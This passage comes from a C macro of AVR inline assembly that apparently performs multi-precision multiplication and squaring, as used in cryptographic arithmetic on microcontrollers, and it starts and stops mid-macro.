\n\t" \ + "mul 2, 12 \n\t" \ + "st z+, r0 \n\t" \ + "mov r22, r1 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r12, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r13, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r14, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r15, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r2, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r3, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r3, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r4, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r4, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r5, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r5, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r3, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r4, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "mul r5, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "st z+, r23 \n\t" \ + "st z+, r24 \n\t" \ + \ + "sbiw r26, 8 \n\t" \ + "sbiw r30, 36 \n\t" \ + "ld r2, x+ \n\t" \ + "ld r3, x+ \n\t" \ + "ld r4, x+ \n\t" \ + "ld r5, x+ \n\t" \ + "ld r6, x+ \n\t" \ + "ld r7, x+ \n\t" \ + "ld r8, x+ \n\t" \ + "ld r9, x+ \n\t" \ + "ld r10, x+ \n\t" \ + "ld r11, x+ \n\t" \ + "ld r12, x+ \n\t" \ + "ld r13, x+ \n\t" \ + "ld r14, x+ \n\t" \ + "ld r15, x+ \n\t" \ + "ld r16, x+ \n\t" \ + "ld r17, x+ \n\t" \ + "ld r18, x+ \n\t" \ + "ld r19, x+ \n\t" \ + "ld r20, x+ \n\t" \ + "ld r21, x+ \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r2 \n\t" \ + "st z+, r0 \n\t" \ + "mov r22, r1 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r3 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r6 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r4, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r7 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r8 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r5, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r10 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r6, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r11 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r7, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r8, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r16 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r9, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r17 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r18 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r10, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r19 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r20 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r11, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r2, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r3, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r4, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r12, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r3, r2 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r4, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r3, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r2 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r5, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r23, 